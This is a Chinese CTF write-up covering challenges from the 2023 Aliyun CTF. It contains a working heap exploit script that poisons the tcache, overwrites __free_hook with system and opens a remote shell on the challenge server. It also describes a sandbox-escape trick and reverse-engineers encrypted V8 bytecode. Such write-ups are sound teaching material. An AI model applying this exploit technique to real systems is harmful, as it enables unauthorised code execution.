2023 阿里云 CTF 部分题目 Writeup By Xp0int

差一名能拿 1k,气死 X(

题目附件

Pwn

1.1 Babyheap

Author: xf1les

用 rust 语言编写的堆菜单题,babyheap::delete 开头隐藏了一个后门:

如果 index 大于 0x74737572,将 index 为 index-0x74737572 的 Vector 释放掉,相当于能够 free() 后不清空指针。

只要能找到漏洞后面就简单了,按照 Use-atfer-free 或者 double-free 的思路解题都行了。

这里是修改 tcache chunk fd 指针劫持 __free_hook,向 __free_hook 写入 system 地址后释放含 "/bin/sh" 的堆块,执行 system("/bin/sh") getshell。

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#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p_sl      = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) 
p_s       = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)   
libc_symp = lambda x : p64(libc.symbols[x])

NUL = b'\x00'

########################################################################

libc = ELF("./libc-2.27.so")

p = remote("47.98.229.103", 1337)
# ~ p = process("./babyheap")

def add(sz, ctx):
    p_sl(1, ">>> ")
    p_sl(sz, "now the size: ")
    p_s(ctx, "next the content: ")
    
def show(idx):
    p_sl(2, ">>> ")
    p_sl(idx, "house index: ")
    
def delete(idx):
    p_sl(4, ">>> ")
    p_sl(idx, "house index: ")

def edit(idx, ctx):
    p_sl(3, ">>> ")
    p_sl(idx, "house index: ")
    p_s(ctx, ": ")

for i in range(8):
    add(0x1ff, str(i)*0x1ff)
for i in range(1, 8):
    delete(i)

delete(0x74737572+0)

show(0)
libc.address = u64(p.recv(8).ljust(8, b'\x00')) - 0x3ebca0
info("libcbase: 0x%lx", libc.address)

add(0x40, 'a'*0x40) #1
add(0x40, 'b'*0x40) #2

delete(1)
delete(0x74737572+2)

edit(2, libc_symp("__free_hook").ljust(0x40, NUL))
add(0x40, b'/bin/sh\x00'.ljust(0x40, NUL)) #1
add(0x40, libc_symp('system').ljust(0x40, NUL)) #2

delete(1)

p.interactive()

flag: aliyunctf{l1fe_1s_sh0rt_dO_nOt_us3_rust}

Misc

2.1 懂得都懂带带弟弟

Author: Rieß

nc 过去,输入表达式会执行并返回,推测类似 nodejs 的沙箱逃逸,在测试 payload 的时候发现使用 import 语句会有特殊的回显,尝试直接 import /flag (可能是非预期解?)

2.2 OOBdetection

Author: Hur1k

自创了一门新的语言,要判断是否存在溢出问题

过了 pow 之后就是写脚本的事了,主要思路就是把这个语言转换成 python 的语法,然后跟 python 语法不一致的地方单独处理,用 try 块让 python 自行判断越界与否

  • 声明变量 int 改为 python 的[None]数组
  • 索引的引用用 eval 来实现,要注意的是

    • 负数引用也算越界,如 a[-12]
    • 索引会存在 expr,用 eval 来实现
    • 存在嵌套索引跟多维的索引,如 a[ 249 ][ 39 ]a[b[ 12 ]-c[ 23 ]],所以匹配括号内容的时候用栈的方法匹配(不知道怎么叫。。反正不是用正则化)
    • 有小数出现(小数是除法得到的,46/56 应该是相当于 46//56=0 所以不算越界,这里其实偷了个懒,全让他判断成 safe 了嘻嘻)
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# 完整脚本
from pwn import *
import hashlib
import itertools
#from string import digits, ascii_letters, punctuation
import binascii
        
        
def extract_nested_brackets(text):
    stack = []  # 用于存放匹配到的内容的栈
    result = []  # 用于存放最终匹配结果的列表
    for i,char in enumerate(text):
        if char == '[':
            stack.append(('[',i))  # 遇到左方括号,将其压入栈中
        elif char == ']':
            # 遇到右方括号,从栈中依次弹出字符,直到遇到匹配的左方括号
            result.append(text[stack.pop()[-1]+1:i].replace(' ',''))
                
    return result
    
def getData(data):

    data = data.split(';')
    for code in data:
        code = code.strip('\n')
        dim = code.count('[')
        if 'int' in code:
            
            if dim == 0:
                code = code.replace('int ','')
                if '=' not in code:
                    code = f"{code}=None"
                exec(code)
                
            else:
                code = code.replace('int ','')
                var = code[:code.index('[')]
                matches = re.findall(r"\[[^\]]+\]", code)
                matches = matches[::-1]
                code_maked = var+'='
                tmp = 'None'
                for num in matches:
                    num = num[1:-1].replace(' ','')
                    if num.isdigit():
                        if int(num)<0: # 校验负数索引
                            return "oob"
                    else: #expr
                        num = str(eval(num))
                        if int(num)<0:
                            return "oob"
                        
                    tmp = f"[{tmp}]*{num}"
                code_maked = code_maked + tmp
                code = code_maked
                exec(code)

        else:
            if "Your answer" in code:
                continue
            
            if dim == 0:
                pass
            else:
                matches = extract_nested_brackets(code)
                # var = code[:code.index('[')]
                # matches = re.findall(r"\[[^\]]+\]", code)
                # matches = matches[::-1]
                # 变量索引检查
                for num in matches:
                    if num.isdigit():
                        if int(num)<0: # 校验负数索引
                            return "oob"
                        else:
                            continue
                    else: #表达式或变量
                        try:
                            num = str(eval(num))
                            if '.' in num: #小数全给safe
                                num = math.floor(float(num))
                                return "safe"
                            if int(num)<0: # 放try块里面防止除法出来小数
                                return "oob" 
                        except Exception as e:
                            print(f"PYTHON判断结果:{e}")
                            return "oob"
 

            
            try:
                exec(code)
            except Exception as e:
                print(f"PYTHON判断结果:{e}")
                return "oob"
            
    return "safe"
            
        

context(log_level='debug')
p = remote('47.98.209.191', 1337)

p.recvuntil(b'sha256(XXX + ')
tail = p.recvuntil(b')')[:-1]
print(tail)
tail = binascii.unhexlify(tail)
print(tail)
p.recvuntil(b' == ')
s = []
for i in range(256):
    s += chr(i).encode('Latin-1')
# print(s)
sha256 = p.recvuntil(b'\n')[:-1].decode()
print(sha256)
# for i in s:
#    print(i)
data = ''
for i in s:
    for b in s:
        for c in s:
            data = chr(i).encode('Latin-1') + chr(b).encode('Latin-1')+chr(c).encode('Latin-1')
            data_sha = hashlib.sha256((data+tail).decode('Latin-1').encode('Latin-1')).hexdigest()

            if data_sha == sha256:
                print(data.hex())
                p.sendline(data.hex())
                _ = p.recvuntil(b'Good luck!')
                data = p.recvuntil(b'Your answer (safe/oob/unknown):').decode()
                print(data.encode())
                
                p.sendline(getData(data).encode())
                
                for i in range(300):    
                    data = p.recvuntil(b'Your answer (safe/oob/unknown):').decode()
                    print(data.encode())
                    if 'Right' in data:
                        data = data[data.index('\n\n'):]
                        p.sendline(getData(data).encode())
                pass

p.interactive()

Reverse

3.1 字节码跳动

Author: cewJANlittle

题目提供了 node 程序、一个通过 node 来编译 jsjsc 并运行的 runner.js、一个负责调用 runner.js 和 node 的 run.sh,一个由 node 编译 flag 验证程序 flagchecker.js 得到的字节码文件 flagchecker.jsc、以及通过 node 的 --print-bytecode 生成的文本字节码文件 flagchecker_bytecode.txt 等。

既然都给反汇编了,那直接当阅读理解题得了,毕竟逆 jsc 一般来说不是什么好主意。但 flagchecker_bytecode.txt 非常大,因为里面把库函数也包含进去了,所以关键要找验证 flag 的函数。直接搜 flag 是找不到的,所以可以考虑换别的方式。从 runner.js 可以知道程序通过命令行参数传递 flag,所以可以搜 argv,又有 Right!Wrong! 等字符串,还可以直接搜 main 函数等,虽然不能直接命中,但主逻辑就在附近,上下翻翻就可以找到可疑的三个函数:mainaaaccc

虽然 bytecode 很难看,但我们可以根据 Constant pool 来进行逻辑的猜测,每个常量前面的编号会方便我们找到调用它的指令,辅助分析。

main 看不懂,但从常量来判断应该只是个调用函数工具人,然后根据 flag 的对错来输出 Right!Wrong!

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[generated bytecode for function: main (0x3711a3bdfd81 <SharedFunctionInfo main>)]
Bytecode length: 69
Parameter count 1
Register count 4
Frame size 32
OSR nesting level: 0
Bytecode Age: 0
 1207 S> 0x3711a3be0a56 @    0 : 21 00 00          LdaGlobal [0], [0]
         0x3711a3be0a59 @    3 : c2                Star1 
...
Constant pool (size = 6)
0x3711a3be09e1: [FixedArray] in OldSpace
 - map: 0x2546cb1c12c1 <Map>
 - length: 6
           0: 0x39ea5930f9e9 <String[7]: #process>
           1: 0x20e3b754b6d9 <String[4]: #argv>
           2: 0x26784b2e1619 <String[7]: #console>
           3: 0x0ef123a28e69 <String[3]: #log>
           4: 0x3711a3be0961 <String[6]: #Right!>
           5: 0x3711a3be0979 <String[6]: #Wrong!>
Handler Table (size = 0)
Source Position Table (size = 31)
0x3711a3be0aa1 <ByteArray[31]>

继续看 aaa,大部分还是看不懂,但中间有一段代码结合常量来看应该是把 hex 字符串解码放到数组里。

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[generated bytecode for function: aaa (0x3711a3bdfd31 <SharedFunctionInfo aaa>)]
Bytecode length: 91
Parameter count 2
Register count 7
Frame size 56
OSR nesting level: 0
Bytecode Age: 0
...
  942 S> 0x3711a3be0d11 @   51 : 21 00 00          LdaGlobal [0], [0]
         0x3711a3be0d14 @   54 : bf                Star4 
  949 E> 0x3711a3be0d15 @   55 : 2d f6 01 02       LdaNamedProperty r4, [1], [2]
         0x3711a3be0d19 @   59 : c0                Star3 
         0x3711a3be0d1a @   60 : 13 04             LdaConstant [4]
         0x3711a3be0d1c @   62 : be                Star5 
         0x3711a3be0d1d @   63 : 13 05             LdaConstant [5]
         0x3711a3be0d1f @   65 : bd                Star6 
  949 E> 0x3711a3be0d20 @   66 : 5e f7 f6 f5 f4 0d CallProperty2 r3, r4, r5, r6, [13]
...
Constant pool (size = 6)
0x3711a3be0c69: [FixedArray] in OldSpace
 - map: 0x2546cb1c12c1 <Map>
 - length: 6
           0: 0x3adf78836561 <String[6]: #Buffer>
           1: 0x2546cb1c4999 <String[4]: #from>
           2: 0x2546cb1c4d41 <String[6]: #length>
           3: 0x3adf78836c31 <String[5]: #alloc>
           4: 0x3711a3be0bb1 <String[86]: #3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae>
           5: 0x3adf78838741 <String[3]: #hex>
Handler Table (size = 0)
Source Position Table (size = 38)
0x3711a3be0d41 <ByteArray[38]>

最后是函数 ccc,这是关键的加密部分,结合鱼哥之前的博文,理解起来基本不费劲,就是瞎眼(

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[generated bytecode for function: ccc (0x3711a3bdfce1 <SharedFunctionInfo ccc>)]
Bytecode length: 188
Parameter count 4
Register count 4
Frame size 32
OSR nesting level: 0
Bytecode Age: 0
  173 S> 0x3711a3be1216 @    0 : 00 0d aa 00       LdaSmi.Wide [170]            ;将170加载进累加器
         0x3711a3be121a @    4 : c3                Star0                        ;将累加器值放在r0
  188 S> 0x3711a3be121b @    5 : 0c                LdaZero                      ;将累加器置0
  189 E> 0x3711a3be121c @    6 : 23 00 00          StaGlobal [0], [0]           ;将累加器的值赋给Global[0], 从Constant pool看这里应该是i
  194 S> 0x3711a3be121f @    9 : 21 00 02          LdaGlobal [0], [2]           ;加载变量i到累加器
         0x3711a3be1222 @   12 : c1                Star2                        ;存储到r2
         0x3711a3be1223 @   13 : 0d 13             LdaSmi [19]                  ;将19加载进累加器
  194 E> 0x3711a3be1225 @   15 : 6c f8 04          TestLessThan r2, [4]         ;r2是否小于累加器的值
         0x3711a3be1228 @   18 : 98 2a             JumpIfFalse [42] (0x3711a3be1252 @ 60)
  274 S> 0x3711a3be122a @   20 : 21 00 02          LdaGlobal [0], [2]           ;加载变量i到累加器
  273 E> 0x3711a3be122d @   23 : 2f 03 06          LdaKeyedProperty a0, [6]     ;累加器 = a0[i]
  265 E> 0x3711a3be1230 @   26 : 38 fa 08          Add r0, [8]                  ;累加器 += r0
  277 E> 0x3711a3be1233 @   29 : 44 33 09          AddSmi [51], [9]             ;累加器 += 51
  285 E> 0x3711a3be1236 @   32 : 00 4c ff 00 05 00 BitwiseAndSmi.Wide [255], [5];累加器 &= 255
         0x3711a3be123c @   38 : c3                Star0                        ;r0 = 累加器
  305 S> 0x3711a3be123d @   39 : 21 00 02          LdaGlobal [0], [2]           ;加载变量i到累加器
         0x3711a3be1240 @   42 : c0                Star3                        ;r3 = 累加器
         0x3711a3be1241 @   43 : 0b fa             Ldar r0                      ;累加器 = r0
  308 E> 0x3711a3be1243 @   45 : 34 04 f7 0a       StaKeyedProperty a1, r3, [10];a1[r3] = 累加器
  200 S> 0x3711a3be1247 @   49 : 21 00 02          LdaGlobal [0], [2]           ;累加器 = i
         0x3711a3be124a @   52 : 50 0c             Inc [12]                     ;累加器++
  200 E> 0x3711a3be124c @   54 : 23 00 00          StaGlobal [0], [0]           ;i = 累加器
  183 E> 0x3711a3be124f @   57 : 88 30 00          JumpLoop [48], [0] (0x3711a3be121f @ 9)
...
Constant pool (size = 1)
0x3711a3be11c9: [FixedArray] in OldSpace
 - map: 0x2546cb1c12c1 <Map>
 - length: 1
           0: 0x2546cb1c9159 <String[1]: #i>
Handler Table (size = 0)
Source Position Table (size = 119)
0x3711a3be12d9 <ByteArray[119]>

根据加密逻辑,加上盲猜(a0 是输入,a1 是输出,前面的 hex 字符串是密文)可以轻松写出解密脚本:

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enc = bytes.fromhex('3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae')
enc = list(enc)
flag = [0] * len(enc)
key = 170
for i in range(19):
    flag[i] = (enc[i] - key - 51) & 0xff
    key = enc[i]

key = 85
for i in range(19, 43):
    flag[i] = (enc[i] - key) & 0xff
    key = enc[i] ^ key

print(bytes(flag))

3.2 字节码芭蕾

Author: JANlittlecew

这是上一题的 plus 版,出题人直接不给汇编文本了,意图很明显,就是想让我们逆 jsc。现在就有两个路子,一个是反汇编 jsc,输出上一题那种汇编,一个是利用 ghidra_nodejs 这个项目来反编译。秉持着反汇编狗都不看的原则,我选择尽可能用 ghidra_nodejs 来反编译。但这个项目非常古老,已经远远跟不上现在 nodejs 字节码变化的脚步,所以我们必须先确定题目提供的 node 是什么版本。

结果显示,我们运气非常好,题目提供的 node 和 v8 版本与 ghidra_nodejs 的适配版本一致,很难不怀疑是出题人故意的:

既然这样,那我们就不客气地使用 ghidra 了。但问题当然不会这么简单:你装上插件,拖进 ghidra,结果 ghidra 压根解析不了,甚至还可能报错!拿十六进制编辑器对比下 flagchecker.jsc 和正常的 jsc,就可以发现正常的 jsc 是会有很多 0 字节的,但 flagchecker.jsc 的 0 字节相当少,至少可以判断,这个 jsc 应该是被加密了。

既然被加密了,那我们第一个想法就是找到 node 生成 jsc 的地方,然后跟正常的 node 进行对比(node 官方对旧版本有存档,可以直接去下:https://nodejs.org/download/release/v8.16.0/)。感谢鱼哥,哦不对鱼总,他的另一篇文章也提到了这个问题,那我们直接拿过来用。鱼总的文章指出“JSC files are generated by the v8::internal::CodeSerializer::Serialize”,那我们就从这里入手。很容易地,我们可以发现 v8::internal::CodeSerializer::Serialize 是通过调用了 v8::internal::SerializedCodeData::SerializedCodeData 来生成 JSC 的主要部分,这个函数无论是瞪眼法还是 bindiff 进行比较,都可以发现与正常的 node 有明显修改迹象。通过分析,可以知道出题人主要修改了两个部分:

  1. 修改了文件头的 magic、payloadLength 和两个 checksum。可以参考这篇文章Header of the JSC file 部分。
  2. 对偏移 0x40 之后的主体部分进行了 RC4 加密,密钥是 CodeSerializer

这样我们就可以对 jsc 进行解密了:

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from Crypto.Cipher import ARC4

rc4 = ARC4.new(b'CodeSerializer')
fn = open('new.jsc', 'wb')
with open('flagchecker.jsc', 'rb') as f:
    content = f.read()
    fn.write((int.from_bytes(content[:4], 'little')^0xDEAD0000^0xC0DE0000).to_bytes(4, 'little'))
    fn.write(content[4:28])
    fn.write((int.from_bytes(content[28:32], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
    fn.write((int.from_bytes(content[32:36], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
    fn.write((int.from_bytes(content[36:40], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
    fn.write(content[40:0x40])
    content = content[0x40:]
    m = rc4.decrypt(content)
    fn.write(m)
    fn.close()

print('OK')

不过这还没完,把解密之后的 jsc 拖进 ghidra 只能解析出一小部分内容,绝大部分还是无法正常解析。但用十六进制编辑器打开,看起来似乎跟正常的 jsc 好像没什么不同?

对于这种魔改解释器引擎的逆向题,一般魔改的点就两个:对字节码文件进行加密,以及将 opcode 的顺序打乱。

这样我们可以考虑 opcode 的顺序被打乱的这种情况。那么我们从哪开始找起?结合上面鱼总的文章所说:“Disassembly requires calling the v8::internal::BytecodeArray::Disassemble”,我们可以通过寻找 Disassemble 相关的函数,v8 要进行反汇编,必定需要字节码和指令的对应关系,我们可以从这里出发。不过我比较简单粗暴地找指令字符串的交叉引用,直接定位到 v8::internal::interpreter::Bytecodes::ToString 这个函数。

通过与正常 node 的对比,可以发现确确实实把 opcode 的位置换了,好在只换了几个指令。接下来就是修改 ghidra_nodejs,让它适配新的 opcode。但在它的源码中似乎没有找到 opcode 和指令之间的对应?如果对 ghidra 插件有了解的话,可以想到这种对应关系除了存在代码中还可以放在 data 文件夹下,这里存储着将会被插件使用的数据。在 data/language 这个文件夹下,可以发现有 3 个跟 opcode 相关的文件:v8.slaspecextrawide_instructions.sincwide_instructions.sinc。把他们三个全改了并重新编译,插件就可以正常使用了!

事实证明,反编译的可读性比反汇编强得多,func_0000 是入口点,从这里出发顺着函数调用链就可以理清逻辑。程序会验证 flag 头和 flag 尾,然后对 flag 中间部分进行 AES-128 CBC 加密,并与密文比较。其中 AES 换了 S 盒,其它没变,S 盒(Array4)、密文(Array3)、key 和 iv 都是硬编码的,虽然有的会跟常数异或但有反编译可以轻松看穿。最后解密一下就得到 flag 了。

PS:可能上一题有人想用 ghidra_nodejs 来反编译好逃课,然而不凑巧题目提供的 node 版本是 v16.18.0,这版本号甩 ghidra_nodejs 的适配版本一大截,你修改 ghidra_nodejs 可能远比你做阅读理解费劲😅。

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